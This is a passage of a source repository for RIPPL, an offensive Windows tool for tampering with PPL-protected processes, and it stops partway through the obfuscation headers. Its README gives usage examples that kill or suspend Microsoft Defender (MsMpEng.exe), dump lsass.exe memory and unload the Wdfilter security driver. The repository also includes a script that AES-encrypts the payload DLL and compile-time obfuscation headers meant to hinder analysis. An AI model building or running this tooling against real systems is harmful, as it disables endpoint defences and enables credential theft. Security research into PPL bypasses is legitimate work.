Showing preview only (388K chars total). Download the full file or copy to clipboard to get everything.
Repository: last-byte/RIPPL
Branch: master
Commit: 0f58b6e44985
Files: 38
Total size: 373.5 KB
Directory structure:
gitextract_l8_ts1di/
├── .gitattributes
├── .gitignore
├── DLL_encrypt.py
├── LICENSE
├── README.md
├── RIPPL/
│ ├── Indexes.h
│ ├── Inline.h
│ ├── Log.h
│ ├── MetaFSM.h
│ ├── MetaRandom.h
│ ├── MetaString.h
│ ├── RIPPL.cpp
│ ├── RIPPL.rc
│ ├── RIPPL.vcxproj
│ ├── RIPPL.vcxproj.filters
│ ├── Unroller.h
│ ├── common.hpp
│ ├── exploit.cpp
│ ├── exploit.h
│ ├── lazy_importer.hpp
│ ├── ntdll.h
│ ├── packages.config
│ ├── resource.h
│ ├── skCrypter.hpp
│ ├── utils.cpp
│ ├── utils.h
│ └── winver.manifest
├── RIPPL.sln
├── RIPPLDLL/
│ ├── RIPPL.def
│ ├── RIPPLDLL.cpp
│ ├── RIPPLDLL.vcxproj
│ ├── RIPPLDLL.vcxproj.filters
│ ├── dllexploit.cpp
│ ├── dllexploit.h
│ └── packages.config
├── carboncopy.py
├── postbuild.bat
└── restore_headers.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- Backup*.rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
/certs
================================================
FILE: DLL_encrypt.py
================================================
import sys
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
def aesenc(plain, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(bytes(pad(plaintext, AES.block_size)))
key_data = get_random_bytes(32)
iv_data = get_random_bytes(16)
try:
file_path = os.path.dirname(sys.argv[0]) + '\\x64\\Release\\RIPPLDLL_unencrypted.dll'
with open(file_path, 'rb') as file :
plaintext = file.read()
print("[+] Input unencrypted DLL read successfully!")
except:
print("[-] Failed to read input DLL")
sys.exit(-1)
ciphertext = aesenc(plaintext, key_data, iv_data)
try:
file_path = os.path.dirname(sys.argv[0]) + '\\x64\\Release\\RIPPLDLL.dll'
with open(file_path, 'wb') as file :
file.write(ciphertext)
print("[+] DLL successfully encrypted!")
except:
print("[-] Failed to create the encrypted DLL")
sys.exit(-1)
# Read in the file
try:
file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h'
with open(file_path, 'r') as file :
filedata = file.readlines()
except:
print("[-] Failed to read the header to modify...")
sys.exit(-1)
# Replace the target string
key = '#define AESKEY { 0x' + ', 0x'.join(hex(x)[2:] for x in key_data) + ' };\n'
iv = '#define IV { 0x' + ', 0x'.join(hex(x)[2:] for x in iv_data) + ' };\n'
newdata = ""
for line in filedata:
if "#define AESKEY" in line:
line = key
elif "#define IV" in line:
line = iv
newdata += line
# Write the file out again
try:
file_path = os.path.dirname(sys.argv[0]) + '\\RIPPL\\utils.h'
with open(file_path, 'w') as file :
file.write(newdata)
except:
print("[-] Failed to write to the header...")
sys.exit(-1)
print("[+] DLL encrypted. Key and IV saved to utils.h!")
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2021 Clément Labro (@itm4n)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# RIPPL
### Manipulating PPL protected processes without using a driver

This tool implements a __userland__ exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) and Clément Labro (a.k.a. [@itm4n](https://twitter.com/itm4n)) in the following blogposts.
- __Blog post from James Forshaw__: [Windows Exploitation Tricks](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)
- __Blog post from Clément Labro part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)
- __Blog post from Clément Labro part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)
## Usage
### Warning: the safe version of the binary __NEVER__ outputs anything, as all the strings and print function are stripped away using conditional compilation macros.
Simply run the executable without any argument and you will get a detailed help/usage (only valid for binaries compiled without defining the `OPSEC` macro)
```console
c:\Temp>.\rippl.exe
_____ _____ _____ _____ _
| __ \|_ _| __ \| __ \| |
| |__) | | | | |__) | |__) | | version 0.1
| _ / | | | ___/| ___/| | by @last0x00
| | \ \ _| |_| | | | | |____ forked by itm4n's PPLDump
|_| \_\_____|_| |_| |______|
Description:
Manipulate Protected Process Light (PPL) processes with a *userland* exploit
Usage:
rippl.exe (-D|-K|-S|-R|-L|-X|-W|-Z|-T|-U) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE|DRIVER_NAME]
() -> mandatory arguments
[] -> optional arguments
Operation modes (choose ONLY one):
-D -> Dump the given process
-K -> Kill the given process
-S -> Suspend the given process
-R -> Resume the previously suspended process
-L -> Leak a PROCESS_ALL_ACCESS handle to the given process (not yet implemented)
-X -> Kill the given process by assigning it to a job object and terminating the object
-W -> Freeze the process by assigning it to a job object and severely constraining its CPU resources
-Z -> Kill the given process by injecting a thread into it which calls exit(0)
-T -> Sandbox the process by disabling all of its token's privileges and lowering integrity to untrusted
-U -> Unload the provided driver
Arguments:
PROC_NAME -> The name of the process to interact with
PID -> The ID of the process to interact with
DUMP_FILE -> The path of the output dump file - valid ONLY with the -D option
DRIVER_NAME -> The name of the driver to unload - valid ONLY with the -U option
Options:
-d -> (Debug) Enable debug mode
-f -> (Force) Bypass DefineDosDevice error check
Examples:
rippl.exe -K MsMpEng.exe
rippl.exe -S MsMpEng.exe
rippl.exe -R MsMpEng.exe
rippl.exe -D -f lsass.exe lsass.dmp
rippl.exe -D -d -f 720 out.dmp
rippl.exe -U Wdfilter
```
================================================
FILE: RIPPL/Indexes.h
================================================
//
// Indexes.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef Indexes_h
#define Indexes_h
// std::index_sequence will be available with C++14 (C++1y). For the moment, implement a (very) simplified and partial version. You can find more complete versions on the Internet
// MakeIndex<N>::type generates Indexes<0, 1, 2, 3, ..., N>
namespace andrivet { namespace ADVobfuscator {
template<int... I>
struct Indexes { using type = Indexes<I..., sizeof...(I)>; };
template<int N>
struct Make_Indexes { using type = typename Make_Indexes<N-1>::type::type; };
template<>
struct Make_Indexes<0> { using type = Indexes<>; };
}}
#endif
================================================
FILE: RIPPL/Inline.h
================================================
//
// Inline.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef Inline_h
#define Inline_h
#if defined(_MSC_VER)
#define ALWAYS_INLINE __forceinline
#else
#define ALWAYS_INLINE __attribute__((always_inline))
#endif
#endif
================================================
FILE: RIPPL/Log.h
================================================
//
// Log.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef Log_h
#define Log_h
#include <iomanip>
#include <iostream> // [fokede] mingw compatibility
namespace andrivet { namespace ADVobfuscator {
// Inspired from work of Martin Stettner and Jimmy J
struct HexChar
{
unsigned char c_;
unsigned width_;
HexChar(unsigned char c, unsigned width) : c_{c}, width_{width} {}
};
inline std::ostream& operator<<(std::ostream& o, const HexChar& c)
{
return (o << std::setw(c.width_) << std::setfill('0') << std::hex << (int)c.c_ << std::dec);
}
inline HexChar hex(char c, int w = 2)
{
return HexChar(c, w);
}
}}
#if (defined(DEBUG) && DEBUG == 1) || (defined(ADVLOG) && ADVLOG == 1)
#define LOG(str) std::cerr << str << std::endl
#else
#define LOG(str) ((void)0)
#endif
#endif
================================================
FILE: RIPPL/MetaFSM.h
================================================
//
// MetaFSM.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef MetaFSM_h
#define MetaFSM_h
#include <iostream>
#include <tuple>
#include <type_traits>
#pragma warning(push)
#pragma warning(disable: 4127 4100)
#include <boost/msm/back/state_machine.hpp>
#include <boost/msm/front/state_machine_def.hpp>
// functors
#include <boost/msm/front/functor_row.hpp>
#include <boost/msm/front/euml/common.hpp>
#pragma warning(pop)
#include "Indexes.h"
#include "Unroller.h"
// Code common to our FSM (finite state machines)
namespace msm = boost::msm;
namespace mpl = boost::mpl;
using namespace boost::msm::front;
namespace andrivet { namespace ADVobfuscator {
// Same as void but can be instantiated
struct Void {};
// Event template to call a function F with a list of parameters.
// Note: F is passed as value.
template<typename R, typename F, typename... Args>
struct event
{
// Constructor
constexpr event(F f, Args&... args): f_{f}, data_{args...} {}
// Call target function
R call() const
{
// Generate a list of indexes to extract arguments from tuple
using I = typename Make_Indexes<sizeof...(Args)>::type;
return call_(I{});
}
private:
// When F is returning a value
template<typename U = R, int... I>
typename std::enable_if<!std::is_same<U, Void>::value, U>::type
call_(Indexes<I...>) const { return f_.original()(std::get<I>(data_)...); }
// When F does not return a value (void)
template<typename U = R, int... I>
typename std::enable_if<std::is_same<U, Void>::value, Void>::type
call_(Indexes<I...>) const { f_.original()(std::get<I>(data_)...); return Void{}; }
private:
F f_;
std::tuple<Args&...> data_;
};
// When function F is returning a value
// FSM: Finite State Machine
// R: Type of the returned value
// F: Function (target)
// Args: Arguments of target
template<template<typename, typename> class FSM, typename R, typename F, typename... Args>
inline R ObfuscatedCallRet(F f, Args&&... args)
{
using E = event<R, F, Args&...>;
using M = msm::back::state_machine<FSM<E, R>>;
using Run = typename FSM<E, R>::template Run<F, Args...>;
M machine;
Run::run(machine, f, std::forward<Args>(args)...);
return machine.result_;
}
// When function F is not returning a value
// FSM: Finite State Machine
// F: Function (target)
// Args: Arguments of target
template<template<typename, typename = Void> class FSM, typename F, typename... Args>
inline void ObfuscatedCall(F f, Args&&... args)
{
using E = event<Void, F, Args&...>;
using M = msm::back::state_machine<FSM<E, Void>>;
using Run = typename FSM<E, Void>::template Run<F, Args...>;
M machine;
Run::run(machine, f, std::forward<Args>(args)...);
}
// Note: It is possible to merge these two members with ObfuscatedCall and ObfuscatedCallRet (by introducing a TruePredicate) but it will make the 1st FSM example more complicated.
// When function F is returning a value
// FSM: Finite State Machine
// R: Type of the returned value
// P: Predicate (functor)
// F: Function (target)
// Args: Arguments of target
template<template<typename, typename, typename> class FSM, typename R, typename P, typename F, typename... Args>
inline R ObfuscatedCallRetP(F f, Args&&... args)
{
using E = event<R, F, Args&...>;
using M = msm::back::state_machine<FSM<E, P, R>>;
using Run = typename FSM<E, P, R>::template Run<F, Args...>;
M machine;
Run::run(machine, f, std::forward<Args>(args)...);
return machine.result_;
}
// When function F is not returning a value
// FSM: Finite State Machine
// P: Predicate
// F: Function (target)
// Args: Arguments of target
template<template<typename, typename, typename = Void> class FSM, typename P, typename F, typename... Args>
inline void ObfuscatedCallP(F f, Args&&... args)
{
using E = event<Void, F, Args&...>;
using M = msm::back::state_machine<FSM<E, P, Void>>;
using Run = typename FSM<E, P, Void>::template Run<F, Args...>;
M machine;
Run::run(machine, f, std::forward<Args>(args)...);
}
// Obfuscate the address of the target. Very simple implementation but enough to annoy IDA and Co.
template<typename F>
struct ObfuscatedAddress
{
// Pointer to a function
using func_ptr_t = void(*)();
// Integral type big enough (and not too big) to store a function pointer
using func_ptr_integral = std::conditional<sizeof(func_ptr_t) <= sizeof(long), long, long long>::type;
func_ptr_integral f_;
int offset_;
constexpr ObfuscatedAddress(F f, int offset): f_{reinterpret_cast<func_ptr_integral>(f) + offset}, offset_{offset} {}
constexpr F original() const { return reinterpret_cast<F>(f_ - offset_); }
};
// Create a instance of ObfuscatedFunc and deduce types
template<typename F>
constexpr ObfuscatedAddress<F> MakeObfuscatedAddress(F f, int offset) { return ObfuscatedAddress<F>(f, offset); }
}}
#endif
================================================
FILE: RIPPL/MetaRandom.h
================================================
//
// MetaRandom.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Get latest version on https://github.com/andrivet/ADVobfuscator
#ifndef MetaRandom_h
#define MetaRandom_h
// Very simple compile-time random numbers generator.
// For a more complete and sophisticated example, see:
// http://www.researchgate.net/profile/Zalan_Szgyi/publication/259005783_Random_number_generator_for_C_template_metaprograms/file/e0b49529b48272c5a6.pdf
#include <random>
namespace andrivet { namespace ADVobfuscator {
namespace
{
// I use current (compile time) as a seed
constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time
// Convert time string (hh:mm:ss) into a number
constexpr int DigitToInt(char c) { return c - '0'; }
const int seed = DigitToInt(time[7]) +
DigitToInt(time[6]) * 10 +
DigitToInt(time[4]) * 60 +
DigitToInt(time[3]) * 600 +
DigitToInt(time[1]) * 3600 +
DigitToInt(time[0]) * 36000;
}
// 1988, Stephen Park and Keith Miller
// "Random Number Generators: Good Ones Are Hard To Find", considered as "minimal standard"
// Park-Miller 31 bit pseudo-random number generator, implemented with G. Carta's optimisation:
// with 32-bit math and without division
template<int N>
struct MetaRandomGenerator
{
private:
static constexpr unsigned a = 16807; // 7^5
static constexpr unsigned m = 2147483647; // 2^31 - 1
static constexpr unsigned s = MetaRandomGenerator<N - 1>::value;
static constexpr unsigned lo = a * (s & 0xFFFF); // Multiply lower 16 bits by 16807
static constexpr unsigned hi = a * (s >> 16); // Multiply higher 16 bits by 16807
static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16); // Combine lower 15 bits of hi with lo's upper bits
static constexpr unsigned hi2 = hi >> 15; // Discard lower 15 bits of hi
static constexpr unsigned lo3 = lo2 + hi;
public:
static constexpr unsigned max = m;
static constexpr unsigned value = lo3 > m ? lo3 - m : lo3;
};
template<>
struct MetaRandomGenerator<0>
{
static constexpr unsigned value = seed;
};
// Note: A bias is introduced by the modulo operation.
// However, I do belive it is neglictable in this case (M is far lower than 2^31 - 1)
template<int N, int M>
struct MetaRandom
{
static const int value = MetaRandomGenerator<N + 1>::value % M;
};
}}
#endif
================================================
FILE: RIPPL/MetaString.h
================================================
//
// MetaString.h
// ADVobfuscator
//
// Copyright (c) 2010-2017, Sebastien Andrivet
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
